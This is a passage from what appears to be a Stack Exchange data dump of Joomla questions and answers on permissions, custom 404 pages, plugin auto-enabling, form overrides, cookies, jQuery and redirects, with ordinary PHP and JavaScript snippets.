to.&lt;/p&gt;&#xA;&lt;p&gt;Select the &amp;quot;Permissions&amp;quot; tab, and click the name of the user group that will be allowed to edit this category.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sUbcS.jpg&quot; alt=&quot;Permissions tab&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now change the dropdown lists under &amp;quot;Select New Settings&amp;quot; to allowed for all fields (as required) and click save. The red &lt;code&gt;Not Allowed&lt;/code&gt; text should change to a green &lt;code&gt;Allowed&lt;/code&gt; message.&lt;/p&gt;&#xA;&lt;p&gt;Repeat as needed for other categories and corresponding user groups.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;3. Assign users to the groups&lt;/strong&gt;&lt;br /&gt;&#xA;Finally, assign each user to the groups you created in step #1, depending on what category they are allowed to edit. This is done in &lt;strong&gt;Users&lt;/strong&gt; -&amp;gt; &lt;strong&gt;User Manager&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Now your users will have access to edit only content from the categories you assign them to.&lt;/p&gt;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&lt;p&gt;Only user level &lt;code&gt;Publisher&lt;/code&gt; and above are allowed to publish articles, thus this method does not allow users to publish their own articles (has to be approved by a higher-level user). It might be possible to overcome by setting the default value of the &lt;code&gt;state&lt;/code&gt; column in the &lt;code&gt;com_content&lt;/code&gt; database table to &lt;code&gt;1&lt;/code&gt;, but I think I found a better solution:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content/content-submission/18412&quot; rel=&quot;nofollow noreferrer&quot;&gt;User Article Manager&lt;/a&gt;&lt;/strong&gt; is a component that gives you full control over users and articles. It's still in beta, and I just had a quick look, but you should be able to do exactly what you want, and allow users to publish only their own articles in specific categories.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-09-25T00:59:50.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4566" PostTypeId="1" AcceptedAnswerId="4567" CreationDate="2014-09-24T20:00:27.673" Score="4" ViewCount="4540" Body="&lt;p&gt;In this documentation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Creating_a_Custom_404_Error_Page&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Creating_a_Custom_404_Error_Page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is advice to redirect to a custom 404 page by redirecting. This leads to the final page being served on a Header 200 code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this webmaster tools article&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.google.com/webmasters/answer/2409443?ctx=MCE&amp;amp;ctx=S4&quot; rel=&quot;nofollow&quot;&gt;https://support.google.com/webmasters/answer/2409443?ctx=MCE&amp;amp;ctx=S4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;requires the 404 error page to return a 404 header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to include Joomla again from the error page. Short of using curl to get the custom page, is there anything else I can do?&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2018-10-19T09:55:44.040" Title="return 404 header with 404 page" Tags="|joomla-3.3.x|error-handling|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4567" PostTypeId="2" ParentId="4566" CreationDate="2014-09-24T22:24:43.890" Score="2" Body="&lt;p&gt;This is called a &lt;code&gt;soft 404&lt;/code&gt; as you are redirecting to a different URL. So the 200 response after the redirect is correct, which, yes, does cause problems for search engine bots in determining if content is &lt;em&gt;not found&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;I was going to suggest, forcing a &lt;code&gt;404&lt;/code&gt; response code to &lt;code&gt;header&lt;/code&gt; call in &lt;code&gt;error.php&lt;/code&gt; file like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (($this-&amp;gt;error-&amp;gt;getCode()) == '404') {&#xA;    header('Location: /index.php?option=com_content&amp;amp;view=article&amp;amp;id=75', true, 404);&#xA;    exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, this won't work — mainly because browser behaviour is either to go no further or &lt;em&gt;undefined&lt;/em&gt; as far as I can tell (see &lt;a href=&quot;https://tools.ietf.org/search/rfc2616#section-10.4&quot; rel=&quot;nofollow noreferrer&quot;&gt;4xx errors&lt;/a&gt;, &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc2616#section-10.4.5&quot; rel=&quot;nofollow noreferrer&quot;&gt;404&lt;/a&gt;) which conflicts with &lt;a href=&quot;https://tools.ietf.org/search/rfc2616#section-14.30&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;location&lt;/code&gt;&lt;/a&gt;. (Also some Chrome &amp;amp; IE's et al ignore the content provided by the server when they see a 404 code and present their own &amp;quot;suggestions&amp;quot;).&lt;/p&gt;&#xA;&lt;p&gt;So, it would appear that to get custom content from an article and retain a 404 you need to get that content and include it in your error page (I'm presuming you want to do this so that you get your template, menu structure etc).&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2014-09-24T22:24:43.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4568" PostTypeId="2" ParentId="4566" CreationDate="2014-09-24T23:27:35.580" Score="2" Body="&lt;p&gt;Here is what I ended up placing at the top of my error.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  Template.system&#xA; *   * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights     reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA; defined('_JEXEC') or die;&#xA;if (($this-&amp;gt;error-&amp;gt;getCode()) == '404') {&#xA;    header('HTTP/1.0 404 Not Found');&#xA;    $ch = curl_init( JURI::root() . '/404');&#xA;    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);&#xA;    echo curl_exec($ch);&#xA;exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="35" LastActivityDate="2014-09-24T23:27:35.580" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4569" PostTypeId="2" ParentId="4537" CreationDate="2014-09-25T00:37:36.837" Score="1" Body="&lt;p&gt;I just stumbled upon a plugin at JED called JProNoHitCount (&lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content/admin-interface/22961&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/authoring-a-content/admin-interface/22961&lt;/a&gt;) that allows you to select one or more groups to be excluded from the article hit counter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note that it's a commercial plugin).&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-25T00:37:36.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4570" PostTypeId="2" ParentId="3894" CreationDate="2014-09-25T02:08:24.277" Score="0" Body="&lt;p&gt;You should take a look at the component User Article Manager (&lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content/content-submission/18412&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/extensions/authoring-a-content/content-submission/18412&lt;/a&gt;). It has lot's of options and settings to fine-tune what your users can and cannot do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By creating a menu item for each user group, and give them permission to edit/publish their own articles only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; User Article Manager: This extension has been unpublished for the following reason:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UR3: Vulnerable Extension&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="168" LastEditDate="2018-03-20T12:02:53.600" LastActivityDate="2018-03-20T12:02:53.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4571" PostTypeId="1" AcceptedAnswerId="4593" CreationDate="2014-09-25T02:10:10.030" Score="7" ViewCount="983" Body="&lt;p&gt;I've created a couple of small plugins that I install on most of my websites. But new plugins are (fortunately) disabled by default when installed. I know it's only a couple of clicks to enable the plugin, but is it possible to make my plugin enable itself once the installation is done?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2017-01-29T15:46:45.777" Title="Automatically publish plugin after installation" Tags="|joomla-3.x|joomla-2.5|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4572" PostTypeId="1" AcceptedAnswerId="4581" CreationDate="2014-09-25T02:36:42.987" Score="2" ViewCount="3159" Body="&lt;p&gt;I am having trouble overriding the user registration component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My objective is that I must not display the Name field because the name is split into three fields: First, Middle and Last Name and is filled out in the User Profile section (which is an overridden plugin and is dealt accordingly). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The override must not be by template override for us to support scalability and make the application upgrade-proof of core files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, what I have tested is that I tried to upload the modified clone of the com_users component, in which I've removed the Name element in the &lt;strong&gt;com_users\models\forms&lt;/strong&gt;, created a zip file and uploaded it via Extension Manager.&lt;br&gt;&#xA;But still, the override did not work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1947" LastEditorUserId="126" LastEditDate="2015-05-22T17:48:50.727" LastActivityDate="2015-05-22T17:48:50.727" Title="Overriding com_users component" Tags="|joomla-3.x|component|overrides|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4573" PostTypeId="1" AcceptedAnswerId="4590" CreationDate="2014-09-25T03:10:13.503" Score="7" ViewCount="936" Body="&lt;p&gt;When building a custom component, and while designing the layout file to render the view, I'm having difficulty determining what CSS classes / id's to use in my HTML elements to ensure it takes advantage of Joomla built-in CSS and other Templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that Joomla uses Bootstrap which provides a level of consistency and can be referenced here: &lt;a href=&quot;http://getbootstrap.com/2.3.2/base-css.html&quot; rel=&quot;noreferrer&quot;&gt;http://getbootstrap.com/2.3.2/base-css.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, besides the Bootstrap implementation, are there any standard CSS classes/id's that I can use to ensure consistency across the many templates that are available? And if so, are there any references to these CSS classes/id's?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I'm asking if you were to design the look and feel of the component, what steps would you take to ensure that the look and feel works in synergy with Joomla and other templates?&lt;/p&gt;&#xA;" OwnerUserId="1787" LastEditorUserId="159" LastEditDate="2014-09-25T07:47:01.807" LastActivityDate="2014-09-29T20:02:07.913" Title="Standard CSS classes / id naming conventions" Tags="|joomla-3.x|component|css|layout|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4575" PostTypeId="2" ParentId="4571" CreationDate="2014-09-25T06:59:59.427" Score="1" Body="&lt;p&gt;You can create a plugin like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgExtensionEnableMyPlugins extends JPlugin&#xA;{&#xA;    public function onExtensionAfterInstall($installer, $eid)&#xA;    {&#xA;        if ($eid)&#xA;        {&#xA;            $db = JFactory::getDbo();&#xA;            $db-&amp;gt;setQuery(&quot;UPDATE #__extensions SET `enabled` = 1 WHERE `extension_id` = $eid AND `type` = 'plugin'&quot;);&#xA;            $db-&amp;gt;execute();&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Install and enable the above plugin before installing your plugins.&lt;/p&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-09-25T07:45:58.700" LastActivityDate="2014-09-25T07:45:58.700" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4576" PostTypeId="2" ParentId="4573" CreationDate="2014-09-25T08:00:01.653" Score="4" Body="&lt;p&gt;Currently, there is no such standard. The closest thing is indeed the Bootstrap classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I usually do is making sure it works in Protostar and hope for the best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was once sort of a standard but support for it was low and the documentation was bad.&#xA;It was basically just a list of ids and classes used by core.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-09-25T08:00:01.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4577" PostTypeId="1" CreationDate="2014-09-25T09:25:59.617" Score="5" ViewCount="1818" Body="&lt;p&gt;I want to display App download message(an image)to users browsing my site from Android device only. So i have developed a plugin to achieve this . Now i want to display this message only first time so, i need to set cookie. Here I'm checking if cookie is set first then don't display message else display message but condition is not working it is showing the message everytime.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die;&#xA;jimport('joomla.plugin.plugin');&#xA;&#xA;class plgsystemandroidmsg extends JPlugin {&#xA;&#xA;    function onAfterRender() {&#xA;        $app = JFactory::getApplication();&#xA;        $htmlString = $app-&amp;gt;getBody();&#xA;        if ($app-&amp;gt;isAdmin()) {&#xA;            return;&#xA;        }&#xA;        $uri = JFactory::getURI();&#xA;        if (isset($_SERVER['HTTP_USER_AGENT'])) {&#xA;            $ua = strtolower($_SERVER['HTTP_USER_AGENT']);&#xA;            if (stripos($ua, 'android') !== false) {&#xA;                $cookieName = 'mymsgseen';&#xA;                $cookieValue = $app-&amp;gt;input-&amp;gt;cookie-&amp;gt;get($cookieName);&#xA;                if ($cookieValue != null &amp;amp;&amp;amp; $cookieValue == 1) {&#xA;                    $htmlString = 'cookie is set : ' . $cookieValue;&#xA;                    $app-&amp;gt;setBody($htmlString);&#xA;                } else {&#xA;                    $cookieValue = 1;&#xA;                    $expire = time() + 60 * 60 * 24 * 30;&#xA;                    $app-&amp;gt;input-&amp;gt;cookie-&amp;gt;set($cookieName, $cookieValue, $expire);&#xA;                    $htmlString = 'cookie is not set';&#xA;                    $app-&amp;gt;setBody($htmlString);&#xA;                }&#xA;            }&#xA;        }&#xA;        return true;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how can i achieve this? how to set and get cookies in joomla 3 ?&lt;/p&gt;&#xA;" OwnerUserId="1948" LastEditorUserId="159" LastEditDate="2014-09-25T10:50:51.250" LastActivityDate="2014-09-25T13:10:16.803" Title="Set cookie in from joomla plugin" Tags="|joomla-3.x|plugin|fix-my-code|cookies|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4578" PostTypeId="2" ParentId="4573" CreationDate="2014-09-25T10:04:59.127" Score="4" Body="&lt;p&gt;I wish there was a solution to this but unfortunately there isn't. It would be great if we could all develop extensions that would integrate with all templates out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would simply be best making use of the Bootstrap classes and if the style doesn't integrate well, then the user can simply create a &lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;Template Override&lt;/a&gt; for your component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just be sure to make everything as dynamic as possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may have noticed if you ever look into 3rd party module code, that many of them put the HTML markup in &lt;strong&gt;mod_modulename.php&lt;/strong&gt;, meaning that the user cannot override the view, and thus has to perform a core hack to style the module according to their needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why &lt;strong&gt;all&lt;/strong&gt; markup should always be put in the view file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-09-29T20:02:07.913" LastActivityDate="2014-09-29T20:02:07.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4579" PostTypeId="2" ParentId="4572" CreationDate="2014-09-25T11:42:27.637" Score="2" Body="&lt;p&gt;If you introduce modifications into the component files, they are going to be replaced in the next Joomla! update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the output overrides that allow customization:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;Understanding Output Overrides&lt;/a&gt;  - &lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Understanding_Output_Overrides&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Component Output Types and Layout Overrides&#xA;&lt;ul&gt;&#xA;&lt;li&gt;3.1 Output Types&lt;/li&gt;&#xA;&lt;li&gt;3.2 Layouts&lt;/li&gt;&#xA;&lt;li&gt;3.3 Copying or Creating Layout Files&lt;/li&gt;&#xA;&lt;li&gt;3.4 Overriding Sub-Layouts&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If they are not enought to solve your needs, you must create a new component (instead of changing a core component files).&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-09-25T11:42:27.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4580" PostTypeId="2" ParentId="4577" CreationDate="2014-09-25T13:10:16.803" Score="2" Body="&lt;p&gt;First of all you could first try to fit this code in your template. If may give you more flexibility there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;onAfterRender&lt;/code&gt; does not seem right for me to fiddle the content and to set cookies / read cookies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure that your plugin is actually being called? Anyway, check your browser console to see the status.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-25T13:10:16.803" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4581" PostTypeId="2" ParentId="4572" CreationDate="2014-09-25T15:19:42.977" Score="4" Body="&lt;p&gt;You can do this most easily from a plugin actually. No core files are changed, so it should be completely update proof. You likely already have a plugin for the profile system that is adding the fields to the form. You may not want to edit that either, but it should be simple to copy the user plugin and set up the following function in that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onContentPrepareForm($form, $data)&#xA;{&#xA;    if (!($form instanceof JForm))&#xA;    {&#xA;        $this-&amp;gt;_subject-&amp;gt;setError('JERROR_NOT_A_FORM');&#xA;        return false;&#xA;    }&#xA;&#xA;    // Check we are manipulating a valid form.&#xA;    $name = $form-&amp;gt;getName();&#xA;    if (!in_array($name, array('com_admin.profile', 'com_users.user', 'com_users.profile', 'com_users.registration')))&#xA;    {&#xA;        return true;&#xA;    }&#xA;&#xA;    $form-&amp;gt;removeField('name');&#xA;&#xA;    // you can also do checks to just remove fields on the front end or backend&#xA;    // if that makes more sense for your application&#xA;    if (JFactory::getApplication()-&amp;gt;isAdmin()) {&#xA;        $form-&amp;gt;removeField('captcha');&#xA;        $form-&amp;gt;removeField('email2');&#xA;    }&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-09-25T15:19:42.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4582" PostTypeId="1" AcceptedAnswerId="4583" CreationDate="2014-09-25T16:03:07.693" Score="2" ViewCount="1166" Body="&lt;p&gt;I am setting up an RSForm! Pro form using Radio buttons, but I want to hide the radio buttons input and use the label for the selection, the HTML for the question is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;rsform-block rsform-block-question&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;formControlLabel&quot;&amp;gt;This is the question...?&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;formControls&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;formBody&quot;&amp;gt;&#xA;            &amp;lt;p class=&quot;rsformVerticalClear&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;radio&quot; id=&quot;Question0&quot; value=&quot;First Answer&quot; name=&quot;form[Question]&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;Question0&quot;&amp;gt;First Answer&amp;lt;/label&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;&#xA;            &amp;lt;p class=&quot;rsformVerticalClear&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;radio&quot; id=&quot;Question1&quot; value=&quot;Second Answer&quot; name=&quot;form[Question]&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;Question1&quot;&amp;gt;Second Answer&amp;lt;/label&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;&#xA;            &amp;lt;p class=&quot;rsformVerticalClear&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;radio&quot; id=&quot;Question2&quot; value=&quot;Third Answer&quot; name=&quot;form[Question]&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;Question2&quot;&amp;gt;Third Answer&amp;lt;/label&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there anyway I can do this with jQuery?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Through CSS, I want to change the background of the selected label (when clicked on), the input radio button changes, but I can't work out how to change the label to active/focus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the following  should work, but it doesn't seem to, as the label doesn't have a class associated with it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;input:radio[name='form[Question]']&quot;).change(function(){&#xA;    $(&quot;label&quot;).removeClass(&quot;selected&quot;);&#xA;    $(&quot;label[for='&quot; + this.id + &quot;']&quot;).toggleClass(&quot;selected&quot;, this.checked);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas please?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2014-09-29T15:26:38.913" Title="RSForms Pro changing the class of Radio Group label" Tags="|joomla-3.3.x|jquery|javascript|rsform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4583" PostTypeId="2" ParentId="4582" CreationDate="2014-09-25T16:12:12.617" Score="2" Body="&lt;p&gt;First, be sure the jQuery library is being loaded.  Using the browser developer tools inspect the rendered head and verify it is being loaded.  If not, you will need to load either from your template, or by doing a template override for the component view handling the page rendering in question.  Either way, you'll need to add the following to the top.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('jquery.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've edited the code snippet below, wrapping in an IIFE, passing in the jQuery object to the function as $.  The reason we need to do this is Joomla is still using Mootools, although it is being phased out, which also uses the $ to access library methods.  This conflict requires either the use of an IIFE or to use jQuery in noConflict() mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Referencing the clicked target in you callback function to find the label and toggle the class should solve this for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function($) {&#xA;    $(document).ready(function(){&#xA;        $('input:radio[name=&quot;form[Question]&quot;]').change(function(){&#xA;            console.log('Change event callback fired!');&#xA;            $(this).next().toggleClass(&quot;selected&quot;, $(this).prop(&quot;checked&quot;));&#xA;        });&#xA;    });&#xA;})(jQuery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also changed the qualifier from this.checked to $(this).prop(&quot;checked&quot;).  A common mistake is to assume native JavaScript object properties and methods are available in jQuery objects of the same element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've edited the answer to reflect wrapping function inside jQuery's document ready method to ensure the DOM is fully loaded.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastEditorUserId="1906" LastEditDate="2014-09-29T15:26:38.913" LastActivityDate="2014-09-29T15:26:38.913" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="4584" PostTypeId="1" AcceptedAnswerId="4586" CreationDate="2014-09-25T19:14:59.863" Score="4" ViewCount="170" Body="&lt;p&gt;In com_redirect in the Joomla admin, there are disabled redirect entries that shouldn't be there. I'm certain that no one put them there. The column heading is &quot;expired url&quot;. How do these get there, and will it cause a performance issue that we have thousands of them?&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="19" LastEditDate="2014-09-25T19:23:25.740" LastActivityDate="2014-09-25T19:43:05.820" Title="Does joomla automatically populate the redirect component?" Tags="|administrator|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4585" PostTypeId="1" AcceptedAnswerId="4604" CreationDate="2014-09-25T19:22:57.200" Score="3" ViewCount="317" Body="&lt;p&gt;I'm trying to have one url redirect to a different url, and I'm trying to get Joomla to handle it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In com_redirect in the Joomla admin, I'll add an entry for one url to be redirected to an second url, but the redirect doesn't happen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Source URL: http://www.domain/menu?query=param&#xA;Destination URL: http://www.domain/destination&#xA;Status: Enabled&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have my htaccess file setup and url rewriting enabled in the global configuration. What do i need to do to get this redirect working?&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="19" LastEditDate="2014-09-26T13:26:36.070" LastActivityDate="2014-09-27T13:50:01.367" Title="Redirects aren't working from com_redirect" Tags="|administration|redirect|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4586" PostTypeId="2" ParentId="4584" CreationDate="2014-09-25T19:43:05.820" Score="3" Body="&lt;p&gt;Yes, Joomla records every URL request resulting in a 404 HTTP status code in the redirect component.  The purpose is to provided an automated means for website administrators to manage redirects with the automatically logged 404 HTTP requests.  More info on the component in the link below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Help33:Components_Redirect_Manager&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Help33:Components_Redirect_Manager&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2014-09-25T19:43:05.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4588" PostTypeId="1" CreationDate="2014-09-26T02:14:38.483" Score="2" ViewCount="1266" Body="&lt;p&gt;Here is what I am try'n to do. I'm not sure which parts of the code I mite need to copy here, so let me start with some oversimplified pseudo-code to get going.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a main component (com_main) with model, Table, etc all working.&#xA;From my view.html I can call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$modelTU = $this-&amp;gt;getModel('TimeUnits');&#xA;$modelTU-&amp;gt;GetSchedule($date,...);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The TU Model &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function GetSchedule($date,...){&#xA;    $query = self::getQuery();&#xA;    $items = $this-&amp;gt;_getList((string) $query...);&#xA;&#xA;    if (empty($items)){  //if non found, create new from template&#xA;        $templateModel = $this-&amp;gt;getModel('Templates');&#xA;        $templateModel-&amp;gt;createFromTemplate($date);   //create TU's from a tempalte&#xA;&#xA;     }&#xA;     return $items;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Template Model &#xA;    ...&#xA;     public function createFromTemplate($date,...){&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //****THIS fails (or =FALSE) if called from module&#xA;    //This works fine when called from the component!!&#xA;    $modelTU =  JModelLegacy::getInstance('TimeUnit', COM_MODEL_PREFIX); //THIS FAILS&#xA;&#xA;    $query = self::getQueryTempalte(....);&#xA;    $items = $this-&amp;gt;_getList((string) $query...);&#xA;    foreach ($items as $item){&#xA;       $valTimeUnit = array(&#xA;            'duration' =&amp;gt; $item-&amp;gt;duration,&#xA;            'price' =&amp;gt; $item-&amp;gt;price&#xA;             ...&#xA;        );&#xA;        $modelTU-&amp;gt;save($valTimeUnit);   &#xA;        //I also tried store bind here&#xA;        $tblTu = $modelTU-&amp;gt;getTable();&#xA;        $tblTu-&amp;gt;bind(valTimeUnit);  //table = False !!!&#xA;&#xA;    }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know how else to explain this. The bottom line:&#xA;I load timeunits (TU) ... and if for the given date non exist, &#xA;I call a template model to load a set of template units to be cloned into TU's&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine when called from within the component&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I import the models via in to the module&#xA;require_once( JPATH_ROOT . '/components/com_main/models/timeunit.php');&#xA;etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it works, I can LOAD Timeunits if they 